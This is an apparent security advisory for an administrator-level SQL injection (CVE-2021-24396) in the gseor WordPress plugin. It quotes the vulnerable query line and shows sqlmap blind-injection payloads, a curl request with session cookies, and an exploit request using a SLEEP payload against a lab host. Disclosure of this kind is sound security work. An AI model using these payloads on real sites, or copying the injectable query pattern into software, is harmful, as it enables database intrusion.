Wp Plugin Gseor

Plugin Details

Plugin Name: wp-plugin : gseor
Effected Version : 1.3 (and most probably lower version's if any)
Vulnerability : Injection
Minimum Level of Access Required : Administrator
CVE Number : CVE-2021-24396
Identified by : Syed Sheeraz Ali
WPScan Reference URL

Disclosure Timeline

- May 9, 2021: Issue Identified and Disclosed to WPScan
- May 13, 2021 : Plugin Closed
- June 10, 2021 : CVE Assigned
- August 22, 2021 : Public Disclosure

Technical Details

Vulnerable File: `/gseor.php#457`

Vulnerable Code block and parameter:

Administrator level SQLi for parameter `pageid` /gseor.php#457

```
457:    $pages_db = $wpdb->get_results( "SELECT * FROM $table_name WHERE id = ".$_GET["pageid"]." ORDER BY id DESC");
```

PoC Screenshots

```
[*] starting @ 06:06:23 /2021-05-05/

[06:06:23] [INFO] parsing HTTP request from '/Users/sheerazali/Documents/wpcve/gsor.req'
[06:06:24] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: pageid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: page=gseor.php&search=1&pageid=1 AND 7584=7584

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=gseor.php&search=1&pageid=1 AND (SELECT 3434 FROM (SELECT(SLEEP(5)))RBDm)
---
[06:06:24] [INFO] testing MySQL
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to
 merge them in further requests? [Y/n] Y
[06:06:24] [WARNING] reflective value(s) found and filtering out
[06:06:25] [INFO] confirming MySQL
[06:06:25] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 8.0.0
[06:06:25] [INFO] fetching current user
[06:06:25] [INFO] resumed: bob@localhost
current user: 'bob@localhost'
[06:06:25] [INFO] fetched data logged to text files under '/Users/sheerazali/.local/share/sqlmap/output/172.28.128.50'
```

```
➜  sqlmap-dev git:(master) ✗ time curl -i -s -k -X $'GET' \
    -H $'Host: 172.28.128.50' -H $'Cache-Control: max-age=0' -H $'Upgrade-Insecure-Requests: 1' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537
.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,applica
tion/signed-exchange;v=b3;q=0.9' -H $'Sec-GPC: 1' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8' -H $'Connection: close' \
    -b $'wordpress_232395f24f6cff47569f2739c21385d6=admin%7C1620299005%7Ci5JXmpPpeJQ1VG5oOoxo4SfbUVeO0BUOtOkrbprgxBE%7Cb8b96ad5dc1fd71f30f94e58a973b97fc46b1fb7ecb053030a983c138
2bbf579; wordpress_test_cookie=WP%20Cookie%20check; tk_ai=woo%3AiQVT6EvbuCedvp65Wb1%2BuUEl; wordpress_logged_in_232395f24f6cff47569f2739c21385d6=admin%7C1620299005%7Ci5JXmpPpeJ
Q1VG5oOoxo4SfbUVeO08UOtOkrbprgxBE%7Cbbdf7d49cc3121c461d8b37a6825e47e879dbd635c53362901c96c5a104fd46b; wp-settings-time-1=1620174339' \
    $'http://172.28.128.50/wp-admin/admin.php?page=gseor.php&search=1&pageid=1'
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 05 May 2021 00:28:40 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Set-Cookie: wp-settings-1=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: wp-settings-time-1=1620174520; expires=Thu, 05-May-2022 00:28:40 GMT; Max-Age=31536000; path=/
Content-Encoding: gzip

curl -i -s -k -X $'GET' -H $'Host: 172.28.128.50' -H  -H  -H  -H  -H  -H  -H   0.00s user 0.00s system 4% cpu 0.172 total
```

Exploit

```
GET /wp-admin/admin.php?page=gseor.php&search=1&pageid=1 AND (SELECT 6449 FROM (SELECT(SLEEP(5)))wwdQ) HTTP/1.1
Host: 172.28.128.50
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-ex
Sec-GPC: 1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: wordpress_232395f24f6cff47569f2739c21385d6=admin%7C1620299005%7Ci5JXmpPpeJQ1VG5oOoxo4SfbUVeO0BUOtOkrbprgxBE%7Cb8b96ad5
Connection: close
```

Response

```
[*] starting @ 06:06:23 /2021-05-05/

[06:06:23] [INFO] parsing HTTP request from '/Users/sheerazali/Documents/wpcve/gsor.req'
[06:06:24] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: pageid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: page=gseor.php&search=1&pageid=1 AND 7584=7584

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=gseor.php&search=1&pageid=1 AND (SELECT 3434 FROM (SELECT(SLEEP(5)))RBDm)
---
[06:06:24] [INFO] testing MySQL
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which interse
[06:06:24] [WARNING] reflective value(s) found and filtering out
[06:06:25] [INFO] confirming MySQL
[06:06:25] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 8.0.0
[06:06:25] [INFO] fetching current user
[06:06:25] [INFO] resumed: bob@localhost
current user: 'bob@localhost'
```

```
[06:06:25] [INFO] fetched data logged to text files under '/Users/sheerazali/.local/share/sqlmap/output/172.28.128.50'
```